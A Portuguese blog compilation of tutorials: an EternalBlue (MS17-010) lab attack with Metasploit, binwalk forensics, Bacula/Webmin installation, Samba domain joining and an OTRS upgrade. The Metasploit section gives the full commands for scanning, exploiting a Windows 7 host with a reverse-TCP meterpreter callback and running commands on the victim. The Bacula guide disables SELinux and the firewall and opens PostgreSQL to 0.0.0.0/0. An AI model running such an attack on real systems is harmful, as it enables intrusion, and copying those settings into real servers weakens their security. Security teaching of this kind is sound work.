https://github.com/sleuthkit/sleuthkit/releases/tag/sleuthkit-4.6.5
https://github.com/sleuthkit/autopsy/releases/tag/autopsy-4.10.0
https://github.com/sleuthkit/autopsy/blob/develop/Running_Linux_OSX.txt

Ao som de: Testament – The Pale King

O Metasploit Framework é uma ferramenta para desenvolvimento de Exploits com Payloads com o intuito de explorar vulnerabilidades! Simples! Não? Ok! Vamos por partes…

Framework: Você vai achar muitas definições de framework na internet, mas no nosso caso pode ser definido como um conjunto de ferramentas agrupadas em uma mesma solução. A ideia do framework é evitar retrabalhos ou utilização desnecessárias de uma mesma ferramenta ou código em um mesmo projeto. Sempre você vai ver um framework que vai te ajudar a automatizar trabalhos desnecessários ou mesmo aproveitamento de trabalhos já realizados. Resumindo: o Framework vai te ajudar a gerenciar melhor o seu trabalho.

Exploits: É por onde o ataque tem início, pois pode ser um código malicioso ou um software que utiliza-se de uma vulnerabilidade para atacar o sistema como um todo ou parte dele, assim abrindo caminho para a injeção de outro código, o Payload. Há 2 tipos de Exploits: Conhecidos e Desconhecidos (mais conhecidos por 0-day)

Payloads: Após o Exploit “abrir caminho” explorando uma falha ou vulnerabilidade, é executado um código que tem como função comprometer o sistema. O Payload que fará a transmissão de dados e a parte nociva já depois do sistema ter sido comprometido pela vulnerabilidade utilizando o Exploit.

Vulnerabilidade: é uma condição que quando explorada por um atacante pode resultar em uma violação de segurança.

 

Explicando o Cenário

Agora que a ferramenta foi explicada na teoria, podemos passar para a parte prática!

Nesse cenário há duas máquinas: Parrot Linux 4.4 64 bits (Atacante) e Windows 7 SP1 64bits (Vítima).
A Rede que estou usando é a 172.16.205.0/24

Como estou utilizando o Parrot 4.4, a ferramenta já vem instalada. No Kali Linux, também vem instalada. Caso queira instalar em alguma distribuição que não venha instalada, fazer o download na página oficial: https://www.metasploit.com/

Vou utilizar a vulnerabilidade reportada como MS17-010 (https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/MS17-010) popularmente conhecida como EternalBlue. A falha acontece no protocolo SMBv1, que é utilizado para a troca de arquivos pela rede. Essa vulnerabilidade ficou famosa, pois foi utilizada para espalhar os ransomwares WannaCry, Petya/NotPetya, e Bad Rabbit.

 

Preparando o Sistema

Inicialmente, vamos iniciar o nosso banco de dados postgres para que esse possa se integrar ao Metasploit.

systemctl start postgresql

 

Depois vamos iniciar o Metasploit

msfconsole

 

Vamos verificar o status da conexão com o banco de dados.

db_status

Caso retorne esse erro: “postgresql selected, no connection”…

 

Ou ao iniciar, apareça erros ao conectar ao banco de dados:

 

Seguir os seguintes passos:

exit (Sair do metasploit)
su postgres (Acessar o usuário postgres e tem que estar como root para poder mudar de usuário)
createuser root -P (Criar o usuário root e definir uma senha para ele)
createdb --owner=root msf_database (Criar uma entrada no banco de dados)
exit (Sair do usuário postgres)
msfconsole (Entrar no metasploit novamente)
db_connect root:senha_que_voce_definiu@127.0.0.1:5434/msf_database

Caso não funcione na porta 5434, olhe se a porta do postgres não é a 5432

Depois só conferir:

db_status

 

Caso queira fazer uma busca genérica usando o módulo Nmap que há no Metasploit, assim adicionando as informações do hosts no banco de dados:

db_nmap -A 172.16.205.0/24

Para ver os hosts que foram localizados com essa busca, basta digitar:

hosts

 

Buscando uma vítima

Como o post é direcionado para a falha EternalBlue, vamos procurar o módulo auxilar para realizar a busca na rede:

search smb_ms17_010

Vamos selecionar o módulo que apareceu:

use auxiliary/scanner/smb/smb_ms17_010

Após isso, vamos ver as suas opções:

show options

 

No nosso caso, precisamos colocar o Range de IP que vamos scannear

set RHOSTS 172.16.205.0/24

Vamos aumentar as threads para agilizar o scan

set threads 100

Depois de tudo configurado, agora é executar:

run ou exploit

 

Preparando o Exploit

Dentre o range selecionado, irá ser exibido as máquinas vulneráveis ao EternalBlue. Depois do alvo localizado, vamos iniciar o ataque.

Vamos buscar o exploit da falha EternalBlue

back
search ms17_010_eternalblue

 

Aparecem duas opções, mas vamos utilizar a primeira opção, pois a segunda é para Windows 8

use exploit/windows/smb/ms17_010_eternalblue

Assim como o scanner, vamos ver as opções:

show options

Como sabemos qual máquina é vulnerável a esse ataque, vamos colocar o IP dela no Exploit:

set rhost 172.16.205.129

 

Selecionando o Payload

Depois, vamos selecionar qual Payload vamos utilizar nesse Exploit. Nesse caso, mandei exibir todos os que são compatíveis com o Exploit:

show payloads

 

Para esse exemplo, vamos usar o meterpreter com conexão TCP Reversa

set payload windows/x64/meterpreter/reverse_tcp

Como a conexão será reversa, ou seja, a vítima que vai se comunicar com o atacante, devemos informar qual IP será conectado de volta.

set lhost 172.16.205.1

Vamos verificar se não está faltando nenhuma opção no Exploit ou no Payload:

show missing

 

Como está tudo certo, vamos executar:

run ou exploit

 

Acessando a Máquina da Vítima

Após isso, a conexão com o Windows já está ativa. Agora é só utilizar as ferramentas do meterpreter. Para listar todas basta digitar help. Mas como falar sobre todas as ferramentas não é o tema de post, vamos ver algumas:

Exibir informações do computador:

sysinfo

Exibir em qual usuário está sendo executado no Windows

getuid

Ter acesso ao Shell

shell

 

O comando PS exibe todas os processos na máquina da vítima.

 

Também é possível executar comandos do windows sem entrar no modo shell, usando o comando execute:

 

O intuito desse post é mostrar como um sistema com a configuração padrão, sem um bom sistema de proteção como antivirus, firewall e/ou antimalware, pode se tornar um alvo fácil. Note que em momento algum foi solicitado qualquer intervenção do usuário do computador Windows. Isso também mostra o perigo de se conectar a redes públicas/abertas.

 

Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.

 

https://github.com/rapid7/metasploit-framework
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

Ao Som de: Metallica – One

O Binwalk é uma ferramenta criada pelo Craig Heffner e feita para realizar buscas em arquivos de imagens (raw). Ela foi pensada para fazer a análise e extração de códigos e arquivos dentro de firmwares, porém como ela é bastante poderosa, acaba sendo utilizadas para outros fins. O intuito desse post é demonstrar que um desses possíveis cenários de utilização desse software no campo da computação forense, e assim apresentar mais uma ferramenta que possa ser utilizada em uma análise forense. Isso não quer dizer que ela substitui qualquer outra ferramenta! Existem ferramentas específicas para cada tipo situação e de análise. Porém, assim como qualquer outra ferramenta, ela server para ajudar um profissional capacitado a chegar um resultado desejado.

O programa utiliza a biblioteca libmagic, assim reconhece os “Magic Numbers” no bloco de dados de um arquivo, conseguindo identificar o tipo de arquivo dentro de uma imagem. Porém, ele também contém uma lista extra desses números mágicos para ficar ainda mais completo.

“Números Mágicos” ou “Magic Numbers” é o termo utilizado para designar as constantes de um tipo de arquivo, assim definindo as assinaturas desses arquivos e assim criando um padrão para a identificação desses arquivos. Essa assinatura se localiza no início do bloco de informação do arquivo. Por exemplo: Todo arquivo arquivo PNG irá começar com esse dados em HEXADECIMAL 89 50 4E 47 0D 0A 1A 0A.

Para observar esses dados, basta abrir qualquer arquivo em um editor Hexadecimal de sua preferência. Também iremos verificar esses dados usando o binwalk.
Caso queira uma lista de alguns números mágicos, existem várias listas na internet, como esta do Wikepédia: https://en.wikipedia.org/wiki/List_of_file_signatures

 

Instalação

Para fazer a instalação do binwalk, basta utilizar o gerenciador de repositórios da sua distribuição ou fazer o download no Github oficial da ferramenta: https://github.com/ReFirmLabs/binwalk

Algumas distribuições Linux já possuem essa ferramenta em seu repositório.

 

git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo python setup.py install
 
Caso esteja utilizando o Python 2.x, instale a dependência:
sudo apt install python-lzma ou sudo yum install pyliblzma

Utilização

A sintaxe do programa é bem simples

$ binwalk [opções] [arquivo]

Caso não utilize nenhum argumento, o binwalk fará uma varredura no arquivo e exibirá os arquivos correspondentes as suas assinaturas compostas nos cabeçalhos utilizando os números mágicos. Há basicamente 3 colunas: Decimal e Hexadecimal, exibe a posição, nos respectivos nomes, do início do número mágico de um arquivo. A terceira coluna é a descrição do arquivo que foi localizado nas duas primeiras colunas.

 

Filtros

Como o retorno da pesquisa dos arquivos pode ser muito grande, é possível aplicar “filtros” para você ver apenas o que está buscando especificamente.

Filtro de Inclusão

-y ou –include=<filtro>

A opção -y inclui apenas os resultados correspondentes para o texto (ou string) de pesquisa especificado. Nessa pesquisa, serão retornados apenas arquivos onde os “Magic Numbers” são possíveis de ser identificados. É possível utilizar expressões regulares para a pesquisa.

$ binwalk -y image exemplo.raw

Exibe apenas as imagens encontradas no arquivo

Filtro de Exclusão

-x ou –exclude=<filtro>

A opção -x é o oposto da anterior (-y) e exclui o texto especificado (ou string) que corresponde a regra nos resultados da pesquisa. Assim como a pesquisa, a exclusão também pode usar expressões regulares. Também apresenta os resultados baseado nas assinaturas dos arquivos.

$ binwalk -x image exemplo.raw

Comparação de Arquivos

 

-W ou –hexdump

O binwalk pode exibir os códigos hexadecimais de arquivos e exibir a diferença e semelhança entre eles. Para fazer essa diferenciação, ele utiliza 3 cores para demonstrar cada uma dessas diferenças e semelhanças.

Verde: Os bytes semelhantes em todos os arquivos;
Vermelho: Os bytes diferentes em todos os arquivos;
Azul: Os bytes diferentes em apenas um arquivos.

$ binwalk -W arquivo01.raw arquivo02.raw arquivo03.raw

Para melhor visualização, podemos aplicar alguns argumentos para limitar a exibição das informações. No nosso exemplo, vamos utilizar:

–block para limitar o tamanho do bloco, em bytes, que será exibido;
–length para exibir apenas a quantidade de bytes selecionados.

$ binwalk -W --block=8 --length=128 *.mp3

No nosso exemplo, podemos identificar nos 3 arquivos que os primeiros bytes são idênticos. Isso acontece pois são 3 arquivos de áudio em MP3 e os “Números Mágicos” nos informa que existe a ID3 Tag nesses arquivos. A assinatura da ID3 tag é “49 44 33”. Como o padrão se repete em todos, esses dados estão em verde.

Seguindo o arquivo, podemos observar que mais uma informação é idêntica nos 3 arquivos. É possível ver o “texto” TALB. Lendo a documentação do ID3tag (http://id3.org/id3v2.3.0), esse campo corresponde ao “Álbum” em que essa MP3 pertence (TALB [#TALB Album/Movie/Show title]). Mas isso não quer dizer que as 3 MP3 são do mesmo Álbum e sim que os 3 arquivos estão com esse campo da ID3 Tag preenchidas. Por esse motivo, podemos observar um bloco bem maior de dados em vermelho, pois são 3 músicas de álbuns diferentes.

Se avançarmos um poucos mais, veremos o “TPE1”, que corresponde ao “Artista” da música. Mesmo essa informação presente nos 3 arquivos, eles não estão na mesma posição, por isso continua em vermelho. Isso acontece por causa dos nomes dos Álbuns, que são diferentes e não tem o mesmo número de caracteres.

Observando essas informações, podemos concluir:
musica01.mp3: Álbum (TALB): “The Rise and Fall of Ziggy Stardust and The Spider From Mars” e Artista (TPE1): “David Bowie”
musica02.mp3: Álbum (TALB): “Scenes From a Memory” e Artista (TPE1): Dream Theater
musica03.mp3: Álbum (TALB): “Just The Two of Us, Me And Then” e Artista (TPE1): MindFlow

Os dados em azul são que estão iguais em 2 arquivos, mas no terceiro. No exemplo abaixo, peguei 2 músicas do mesmo álbum e uma de um terceiro álbum. Usando as informações acima, fica fácil ver a semelhança entre os 2 primeiros e o terceiro arquivo.

Pesquisa RAW

 

-R ou –raw=<string>

 

A pesquisa RAW permite que você faça uma busca diretamente no arquivo, podendo conter strings octal, hexadecimal ou texto puro.

No nosso exemplo, vou utilizar uma MP3 da banda MindFlow e ela contém os metadados da ID3 tag preenchida.

Vamos fazer a busca pelo nome da banda dentro da MP3. Como é um nome composto, vamos procurar pelos primeiro nome apenas:

$ binwalk -R "Mind" musica03.mp3

Caso não retorne nenhuma resposta, pode tentar com outros argumento, como o segundo nome, o nome completo, o texto em caixa alta ou baixa, ou até mesmo em Hexadecimal:

$ binwalk -R "\x4D\x69\x6E\x64" musica03.mp3

Observe que o retorno estão exatamente na mesma posição inicial da busca antetior. O binwalk fez uma varredura no hexadecimal da MP3 e encontrou essas informações no metadados ID3 Tag do arquivo.

Extração de Arquivos

Como o binwalk é capaz de reconhecer arquivos dentro de um outro arquivo, também é possível fazer a extração desses desses arquivos para um diretório.

Extraindo manualmente

 

-D ou -dd=<Tipo:Extensão:Comando>

 

O formato usado para extrair a regra especificada é:
Tipo:Extensão:Comando

Tipo: string, em “caixa baixa”, para informar o tipo do arquivo que se quer extrair;
Extensão: define qual será a extensão que o arquivo será salvo no diretório. Por padrão, o binwalk não coloca nenhuma extensão;
Comando: é um argumento opcional para ser executado após a extração para o diretório.

$ binwalk --dd='zip archive:zip:unzip %e' exemplo.raw

No exemplo acima:

–dd: informa que será feito uma extração de arquivo;
zip archive: será localizado todos os arquivos que contêm a assinatura de um arquivo ZIP;
zip: todos os arquivos localizados com essa assinatura será salvos com a extensão .zip;
unzip: após os arquivos “zip archive” serem localizados, depois salvos como .zip, esse arquivos serão extraídos com o unzip.
%e: é onde você deve informar onde o diretório para a extração desses “zip archives”

Por padrão, os nomes dos arquivos serão atribuídos às suas posições hexadecimais incluindo a extensão encontrada nos números mágicos. Os “zip archives” extraídos da imagem estarão com os nomes: 6BF9434.zip, 39F3593.zip, 39F3660.zip

Caso queira extrair tudo que o binwalk possa localizar, basta usar a expressão regular com * para fazer a extração:

$ binwalk --dd='.*' file.bin

Extraindo automaticamente

Caso utilize a extração automática, o binwalk irá criar um diretório automaticamente com os arquivos extraídos.

$ binwalk -e exemplo.raw

A opção -e é usada para executar a extração automática dos dados. O binwalk só vai conseguir extrair os arquivos que serão identificados pelos números mágicos.

Extração recursiva

 

-M ou –matryoshka

A opção -M (–matryoshka) fará a extração de forma recursiva, porém ela só pode ser usada se combinada com a opção -e (ou –extract)

$ binwalk -Me exemplo.raw

 

LOG

-f ou –log=<arquivo.log>

Nos sistemas operacionais modernos, podemos concatenar as informações de saída de fluxo (stdout) para outro fluxo de informações. Geralmente usamos essas saídas de informações concatenadas com ‘>’ para gerarmos um arquivo de “log” escrevendo um arquivo de texto. Porém, o binwalk já tem um argumento para isso, que é o -f (ou –log)

$ binwalk -f saída_dos_dados.log exemplo.raw

Caso queira que esses dados sejam extraídos diretamente para um arquivo no formato CSV, pode se utilizar o argumento –csv já combinado com o -f

$ binwalk -f saída_dos_dados.csv --csv exemplo.raw

Utilizando o comando acima, será exibida a informação na tela e também criado o arquivo csv. Se deseja que apenas o arquivo seja criado com essas informações, sem a exibição no terminal, basta usar o -q (ou –quiet).

$ binwalk -q -f saída_dos_dados.csv --csv exemplo.raw

 

 

Exemplo Prático:

Primeiramente, vamos usar o binwalk padrão:

$ binwalk Trabalho.pdf

 

No nosso caso, retornou algumas informações. Na primeira posição foi encontrada a assinatura do “PDF Document, version 1.4”. Verificando o arquivo no nosso editor hexadecimal, podemos ver o “número mágico” do pdf (25 50 44 46).

Seguindo o arquivo, o binwalk encontrou a biblioteca zlib, pois o pdf a utiliza para essa biblioteca para a compressão de dados, além dos metadados dos arquivos. Porém, foi encontrado uma assinatura de JPG (posição 0x90F6) e dois PDF (0x21C3C e 0x2F37D).

Agora, vamos fazer a extração de todos os arquivos para não perder muito tempo e depois da extração, localizar os arquivos.

$ binwalk --dd='.*' Trabalho.pdf

 

Após os arquivos extraídos, vamos separar os arquivos com os nomes das posições onde foram encontrados, com exceção da posição “0” pois já  sabendo que é o arquivo que conseguirmos ver normalmente.

90F6 = Imagem JPG
21C3C = Primeiro PDF
2F37D = Segundo PDF

Utilizando um editor hexadecimal, e olhando essas posições indicadas pela aplicação, podemos extrair os blocos e verificar os arquivos. A extração será feita nas assinaturas seguintes. Assim como o anterior, a primeira assinatura identificada foi depois do PDF visível foi o JPG, vamos selecionar o bloco entre o início do suposto JPG (0x90F6) e o início do segundo PDF (0x21C3C), logo em seguida vamos do início do segundo PDF até o começo do terceiro PDF (0x2F37D) e esse vai até o final do arquivo.

 

O resultado nos dois casos será o mesmo:

 

Em um arquivo PDF havia uma imagem e mais 2 PDFs “escondidos” dentro dele. Isso tudo foi possível observando os números mágicos que haviam no arquivo “principal”

Como disse inicialmente, a ideia deste post é apresentar mais uma ferramenta para análises forenses. Em alguns dos exemplos mostrados, existem softwares que nos exibem as informações mais legíveis e mais rápido, como é o caso do ID3 Tag, onde há vários leitores como o PoodleTag. Mas o binwalk também pode ser usado justamente para confirmar esses dados dos outros aplicativos. A combinação “binwalk + editor hexadecimal” podem nos trazer muitos resultados positivos nas mãos de bons peritos forense.

 

https://tools.kali.org/forensics/binwalk
https://github.com/ReFirmLabs/binwalk/wiki/quick-start-guide
https://securityonline.info/introduction-to-binwalk-firmware-analysis-tool/

 

Ao Som de: Criolo – Não Existe Amor em SP

Nesse post não vou explicar como o Bacula funciona e nem como fazer a sua configuração para backup. Planejo fazer isso mais a frente. Agora é só referente a instalação do Bacula

Para esse tutorial a configuração foi um servidor CentOs 7.4, com o Bacula 5.2.13, o Postgres 9.2.23 e o Webmin 1.870 para administração gráfica. As versões são as atuais nos repositórios no dia dessa postagem.


Primeiramente, desabilitei o SELinux e o Firewall para melhor instalação.

Caso não queira desabilitar o firewall, as portas utilizadas são:

Webmin: 10000

Bacula: 9101, 9102, 9103

Postgres: 5432

 

 

Instalando as dependências

Aqui estão as dependências do Webmin, instalação do Vim para edição dos arquivos e do wget para Download de arquivos.

 

 yum -y install wget vim perl-Authen-PAM perl-DBD-Pg perl-DBI perl-IO-Tty perl-Sys-Syslog perl-Digest-MD5 tcp_wrappers tcp_wrappers-devel

 

Adicionar repositório do Webmin

Para a instalação do Webmin, vamos adicionar seu repositório oficial. Caso queira fazer a instalação sem ser por repositório, basta ir ao site do Webmin e seguir o passo-a-passo deles.

cat &lt; /etc/yum.repos.d/Webmin.repo
 
[Webmin]
 
name=Webmin Distribution Neutral
 
mirrorlist=https://download.webmin.com/download/yum/mirrorlist
 
enabled=1
 
EOF

 

Baixando as chaves do Webmin

wget http://www.webmin.com/jcameron-key.asc
rpm --import jcameron-key.asc

 

Instalando o Bacula, Postgres e Webmin

yum -y install postgresql-devel postgresql-server bacula-director bacula-storage bacula-client bacula-console webmin

 

Configurando o Banco de Dados e Iniciando o Postgres

Nesse passo, vamos fazer a configuração do Postgres criando seu banco de dados e adicionando na inicialização do Centos7

postgresql-setup initdb
systemctl start postgresql
systemctl enable postgresql

 

Configuração do Bacula no Postgres

Com o banco de dados criado, precisamos criar as tabelas do bacula do nosso banco Postgres, assim como seu usuário e dar as permissões para esse usuário poder escrever no banco. Nesse momento vamos usar o usuário postgres para fazer esse processo.
O Bacula já disponibiliza scripts para esse processo. No Centos7, eles ficam em /usr/libexec/bacula/

 

su postgres
/usr/libexec/bacula/create_bacula_database
/usr/libexec/bacula/make_bacula_tables
/usr/libexec/bacula/grant_bacula_privileges

 

Ainda com o usuário postgres, vamos acessar o banco de dados e mudar a senha do usuário bacula.
Onde se lê senhabacula, coloque a senha que você deseja utilizar, mas lembre-se de usar as aspas simples no começo e no final da senha.

psql bacula
bacula=# alter user bacula with password 'senhabacula';
bacula=# \q

 

Agora sim podemos voltar ao nosso usuário

exit

Editando o Bacula Director 

Essa configuração do bacula-dir é necessária para que o Bacula possa conectar ao Postgres. Nela, vamos passar o endereço do Banco de Dados, o usuário e a senha criada no passo anterior.

vim /etc/bacula/bacula-dir.conf

aproximadamente na linha 235

original:  dbname = “bacula”; dbuser = “bacula”; dbpassword = “”

configurado:  dbname = “bacula”; dbuser = “bacula”; dbpassword = “senhabacula“; dbaddress = “127.0.0.1”

 

Configurando o banco de dados para aceitar as conexões:

Já que definimos um usuário e senha para o banco de dados, vamos fazer com que o Postgres reconheça essa requisição:

vim /var/lib/pgsql/data/pg_hba.conf

Onde estiver “peer” e/ou “ident”, mude para md5

Original:  local       all      all      peer    ou     host      all     all     127.0.0.1/32     ident

Configurado: local       all      all      md5    ou     host      all     all     127.0.0.1/32     md5

Ainda no mesmo arquivo, adicionar na última linha:

host    localhost       all     0.0.0.0/0       md5

 

Reiniciando os serviços

systemctl restart bacula-dir bacula-fd bacula-sd postgresql

 

Acesso ao Webmin

https://localhost:10000/ (no lugar de localhost, pode ser o IP da servidor)

login e senha são os usuários do seu servidor CentOs7

No menu da esquerda:

System > Bacula Backup System.

Caso não apareça, clicar em Refresh Modules no final do menu.

Ao clicar, vai aparecer um erro:

É normal, pois não informamos ao módulo Bacula do Webmin nosso usuário e senha do Banco de dados. Basta clicar em module configuration.

No menu Bacula Database Settings vamos informar qual banco de dados foi utilizado e qual seu usuário e senha:

 

Ao clicar em SAVE, vai aparecer a tela abaixo. Agora seu servidor bacula está instalado. Em post futuros pretendo falar sobre como ele funciona e como configurar seu backups.

Caso queira mudar o idioma para o Português do Brasil:

Webmin> Change Language and Theme

Portuguese (Brazilian) (PT_BR.UTF-8)

 

Fontes:

http://webmin.com/rpm.html
http://bacula.us/bacula-enterprise-automated-install-script-for-centos-7/

https://www.digitalocean.com/community/tutorials/how-to-install-bacula-server-on-centos-7
http://www.linuxtopic.com/2016/08/install-and-configure-mysql-postgresql.html#gsc.tab=0
https://www.digitalocean.com/community/tutorials/how-to-install-and-use-postgresql-on-centos-7

Ao som de: Seu Jorge – Life on Mars? (David Bowie Cover/Version)

Nesse post vou explicar como adicionar um servidor Linux em um domínio Samba. Digo servidor, pois recomendo a ferramenta CID, Close in Directory, do Eduardo Moraes, nos casos de ambientes gráficos.

Aqui foi utilizado um Ubuntu 16.04, mas a ideia é a mesma para qualquer distribuição, só observar se alguns arquivos de configuração estão caminhos diferente, como setar o IP no RHEL/CentOs.

O intuito aqui é ajudar quem quer colocar a máquina no domínio, por isso que ele é mais direto com os arquivos de configuração e não com as explicações detalhadas que cada arquivo e comando faz.
Ps: Caso apresente algum erro de autenticação durante o processo, criei um usuário com o hostname no seu AD.

 

Veja a disposição dos servidores na rede para explicação do artigo:

Domínio → dominio.local

Servidor controlador de domínio →192.168.0.4 servidor.dominio.local

Servidor DNS primário → 192.168.0.4

Servidor DNS Secundário →192.168.0.35

Servidor DHCP →192.168.0.1

Como os clientes serão configurados pelo serviço DHCP, só especificarei o nome da máquina cliente:

Desktop cliente → linuxcliente

 

SETAR O IP MANUALMENTE

Editar o arquivo interfaces:

# vim /etc/network/interfaces

auto enp0s3

iface enp0s3 inet static

address 192.168.0.100

netmask 255.255.255.0

gateway 192.168.0.1

dns-nameserver 192.1680.4 192.168.0.35

dns-search dominio.local

 

Editar o arquivo /ETC/HOSTS

Editar o arquivo /etc/hosts para incluir um alias para controlador de domínio e alterar o hostname do desktop cliente (linuxcliente), acrescentando o fqdn, ou seja, o nome do domínio junto ao hostname da máquina cliente.  No entanto, substitua os nomes abaixo pelos correspondentes na sua rede.

 

# vim /etc/hosts

Conteúdo a ser acrescentado:

127.0.0.1       linuxcliente.dominio.local    localhost   linuxcliente

192.168.0.4    servidor.dominio.local servidor

 

Agora vamos verificar se o nome da maquina foi alterado:
# hostname -f

 

Instalar os pacotes necessários

Para que o cliente possa ingressar no domínio, é necessário fazer a instalação dos seguintes pacotes (lembrando que os pacotes abaixo são para distros Debian Like):

# apt install vim ntp krb5-user krb5-config winbind samba samba-common smbclient cifs-utils libpam-krb5 libpam-winbind libnss-winbind

Se durante a instalação do kerberos forem apresentadas algumas telas com perguntas referentes ao KDC, pode continuar com um ENTER e seguir com a instalação dos pacotes.

 

Sincronizar data e hora com o servidor

Edite o arquivo de configuração do serviço NTP usando o Vim:

# vim /etc/ntp.conf

server 192.168.0.4

pool 192.168.0.4

restrict 192.168.0.4


Agora, reinicie o serviço de data e hora:

# /etc/init.d/ntp restart

ou

# service ntp restart

 

Resolução de DNS

Como o IP foi setado manualmente, provavelmente o resolv.conf já está com a configuração correta. Caso não esteja, basta adicionar o search e o nameserver

# vim /etc/resolv.conf

search dominio.local

nameserver 192.168.0.4

nameserver 192.168.0.35

 

Configurar o KERBEROS

Para um usuário autenticar-se no Active Directory, é necessário editar o arquivo /etc/krb5.conf e incluir informações sobre o servidor KDC (controlador de domínio kerberos). Nesse caso, o controlador de domínio com o Active Directory possui um KDC. Use o Vim para editar o arquivo e inclua as seguintes linhas no arquivo:

 

# vim /etc/krb5.conf

Conteúdo acrescentado:

[libdefaults]

default_realm = DOMINIO.LOCAL

[realms]

  DOMINIO.LOCAL  =  {

     kdc  =  servidor.dominio.local

     default_domain  =  DOMINIO.LOCAL

     admin_server  =  servidor.dominio.local

  }

[domain_realm]

.dominio.local = DOMINIO.LOCAL

 

Para fazer o teste de comunicação do nosso ubuntu com o servidor vamos utilizar o kinit. Execute o comando com o seu usuário cadastrado no servidor. No artigo estou usando o usuário “Administrator”.


# kinit Administrator

 

Agora vamos listar o ticket:

# klist

 

O retorno do  klist deverá ser algo parecido com:

Ticket cache: FILE:/tmp/krb5cc_1000

Default principal: administrator@DOMINIO.LOCAL

Valid       starting    Expires                 Service  principal

10-10-2017  12:00:32    09-10-2017  04:10:07    krbtgt/DOMINIO.LOCAL@DOMINIO.LOCAL

renew  until  13-10-2017  12:00:32

 

Configurar o SAMBA

Toda configuração é feita no/etc/samba/smb.conf. Vamos criar um arquivo de backup do smb.conf original e depois criar um arquivo novo em branco:

# mv /etc/samba/smb.conf /etc/samba/smb.conf.original
# vim /etc/samba/smb.conf

 

[global]

  security = ads

 realm= DOMINIO.LOCAL

  workgroup = DOMINIO

 idmap uid = 10000-15000

 idmap gid = 10000-15000

 winbind enum users = yes

 winbind enum groups = yes

 template homedir = /home/%D/%U

 template shell = /bin/bash

 client use spnego = yes

 winbind use default domain = yes

 restrict anonymous = 2

 winbind refresh tickets = yes

 

Agora restart o winbind e o samba

# service winbind restart

# service smbd restart

# service nmbd restart

Ingressar a máquina no domínio

Depois de configurar o Samba, execute o comando abaixo como root:

# net ads join -U Administrator

 

Assim como no Kinit, utilize um usuário com permissão para ingressar no domínio. O retorno do comando deve ser parecido com o que está abaixo:

 

Using short domain name – DOMINIO

Joined ‘LINUXCLIENTE’ to realm ‘DOMINIO.LOCAL’

 

Reinicie o Winbind:

# service winbind restart

 

Agora, faça o teste e liste os grupos e usuários do domínio com o comando wbinfo. Para listar usuários execute:

# wbinfo -u

 

Para listar os grupos execute:

# wbinfo -g

 

Caso não retorne nenhum nome de usuário ou grupo, reinicie o Winbind novamente.

Edite o arquivo NSSWITCH.CONF

Depois ingressar a máquina no domínio, é necessário editar o arquivo /etc/nsswitch.conf para que o sistema possa saber onde buscar informações de login dos usuários que estão se autenticando.

Edite o arquivo usando o Vim:

 

# vim /etc/nsswitch.conf

passwd: compat winbind

group: compat winbind

 

 

A partir desse momento, você já pode testar a maquina normalmente no domínio. Caso apresente algum erro, refaça o processo e verifique os usuários e suas permissões.

Leituras que me ajudaram a escrever esse artigo:
Viva o LinuxStato BlogTecMint

Ao som de Tulipa Ruiz – Proporcional

Primeiramente, faça todo o backup do banco de dados. Caso haja dúvida de como fazer o backup do banco de dados, pode consultar a postagem sobre o script de backup do banco de dados ou na página café com linux como fazer o backup manualmente: http://www.cafecomlinux.com.br/dicas/backup-restore-banco-mysql

Logo em seguida, depois do backup feito, atualizar todo o sistema operacional. Nesse exemplo, a atualização foi feita no Centos 7 e o banco de dados utilizado foi o MySQL.

 

 1 – Parar todos os serviços ligados ao OTRS

/etc/init.d/crond stop
/etc/init.d/postfix stop
/etc/init.d/httpd stop

ou

systemctl stop crond
systemctl stop postfix
systemctl stop httpd

E também parar o Daemon do OTRS

cd /opt/otrs/
bin/Cron.sh stop
bin/otrs.Scheduler.pl -a stop

ou

cd /opt/otrs/
bin/Cron.sh stop
bin/otrs.Daemon.pl stop

 

2 – Fazer o backup dentro do diretório /opt/otrs/ (ou onde está instalado o OTRS):

Kernel/Config.pm
Kernel/Config/GenericAgent.pm (apenas para referência, pois o arquivo não é necessário no OTRS 5)
Kernel/Config/Files/ZZZAuto.pm
var/*

E fazer o backup completo do banco de dados

 

3 – Instalando a versão nova

Faça o Download na página oficial https://www.otrs.com/download-open-source-help-desk-software-otrs-free/?lang=pt-br
Substitua o x.x.x pelo nome do diretório de acordo com a versão que foi feito o download.

cd /opt
mv otrs otrs-old
tar -xzf otrs-x.x.x.tar.gz
mv otrs-x.x.x otrs

 

Restaurar do backup para o novo OTRS os arquivos:

– Kernel/Config.pm
– Kernel/Config/Files/ZZZAuto.pm
– var/log/TicketCounter.log
– var/article

 

4 – Mudar as permissões dos arquivos

cd /opt/otrs/
bin/otrs.SetPermissions.pl –web-group=apache

 

5 – Checar se os módulos Perl estão instalados

/opt/otrs/bin/otrs.CheckModules.pl

Caso retorne que falta algum módulo, instale para o funcionamento do OTRS 5. Não vou explicar como funciona a instalação de todos os módulos, pois não é o foco do post.

 

6 – Atualizar esquemas do banco de dados

cd /opt/otrs/
cat scripts/DBUpdate-to-5.mysql.sql | mysql -p -f -u root otrs
bin/otrs.Console.pl Maint::Database::Check

 

7 – Executar o script de importação do banco de dados

!!! NÃO EXECUTAR COMO ROOT E SIM COM O USUÁRIO OTRS !!!

scripts/DBUpdate-to-5.pl

 

8 – Atualizar configuração de cache e deletar o cache antigo

!!! NÃO EXECUTAR COMO ROOT E SIM COM O USUÁRIO OTRS !!!

cd /opt/otrs/
bin/otrs.Console.pl Maint::Config::Rebuild
bin/otrs.Console.pl Maint::Cache::Delete

 

9 – Iniciar o Daemon do OTRS

!!! NÃO EXECUTAR COMO ROOT E SIM COM O USUÁRIO OTRS !!!

/opt/otrs/bin/otrs.Daemon.pl start

 

10 – Atualizar e ativar as crons

cd /opt/otrs/var/cron
for foo in *.dist; do cp $foo `basename $foo .dist`; done

Com o usuário OTRS:
/opt/otrs/bin/Cron.sh start

 

11 – Atualizar os registros do sistema (opcional)

cd /opt/otrs/
bin/otrs.Console.pl Maint::Registration::UpdateSend –force
bin/otrs.Console.pl Maint::Cache::Delete

 

Após seguir esses passos, o OTRS já estará atualizado. Caso aconteça algum erro, rever os passos sem pular nenhum deles. Lembre-se de guardar o backup completo para restauração caso dê algum problema na atualização.

 

